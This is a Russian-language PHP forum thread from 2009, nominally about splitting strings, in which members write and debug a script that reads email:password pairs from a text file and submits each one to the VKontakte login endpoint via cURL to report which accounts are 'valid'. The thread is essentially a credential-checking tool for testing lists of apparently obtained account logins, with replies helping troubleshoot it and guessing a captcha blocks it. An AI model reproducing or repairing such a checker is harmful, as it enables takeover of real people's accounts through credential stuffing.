Разбитие строки на подстроки(вопрос)

Discussion in 'PHP' started by Dark_Scorpicore, 10 Jun 2009.

  1. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Не в этом случае.
     
  2. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    вообщем вот мое решение, еси в файле акки лежат к примеру вот так:
    через пробел тоесть, то можно распарсить вот так:
    PHP:
    <?php


    $name 
    file_get_contents("c:/vk.txt");
    $array preg_split("/[ \\n]/"$name);

    echo 
    "<PRE>";

    foreach ( 
    $array as $value )    {
        
    $acc explode(":"$value);
        echo 
    $acc[0] ." - "$acc[1] ."\n";
    }

    echo 
    "</PRE>";

    ?>
    регулярку ессно можно подкрутить под свое :)
     
  3. Dark_Scorpicore

    Joined:
    4 Apr 2009
    Messages:
    53
    Likes Received:
    8
    Reputations:
    0
    Итак, вот какой кусок кода по проверке валида аккаунта. Но не работает.. В чем косяк?

    PHP:
    foreach(file($txt_file) as $account
    {
        
    $data=explode(':',$account);
        
    $link "http://vkontakte.ru/login.php?op=a_login_attempt&email=".$data[0]."&pass=".$data[1]."&expire=0";
        
    $res go($link$cookie);
        
    $searchtext 'good';
        if(
    strpos($res$searchtext) == false)
           print 
    "".$data[0]." and ".$data[1]." not valid";
        else{
           print 
    "".$data[0]." and ".$data[1]." are valid";
      }
      }
     
  4. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    Выложи функцию go и все зависимые ибо телепаты в отпуске
     
  5. Dark_Scorpicore

    Joined:
    4 Apr 2009
    Messages:
    53
    Likes Received:
    8
    Reputations:
    0
    FireFenix, вот функция go, если еще что-то понадобится буду редактировать этот пост
    PHP:
    function go($link$data){
    $ch curl_init();
    curl_setopt($chCURLOPT_URL,$link);
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);
    curl_setopt($chCURLOPT_TIMEOUT10);
    curl_setopt($chCURLOPT_GET1);
    curl_setopt($chCURLOPT_HEADER1); 

    $otvet curl_exec($ch);
    curl_close($ch);
    return 
    $otvet;
    }
    И да, файлы в текстовике лежат так(каждый на новой строке):

    mail1:moipass1
    mail2:moipass2
    mail3:moipass3
    mail4:moipass4
     
    #25 Dark_Scorpicore, 11 Jun 2009
    Last edited: 11 Jun 2009
  6. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    капчу наверно выплевывает, или структура запроса изменилась...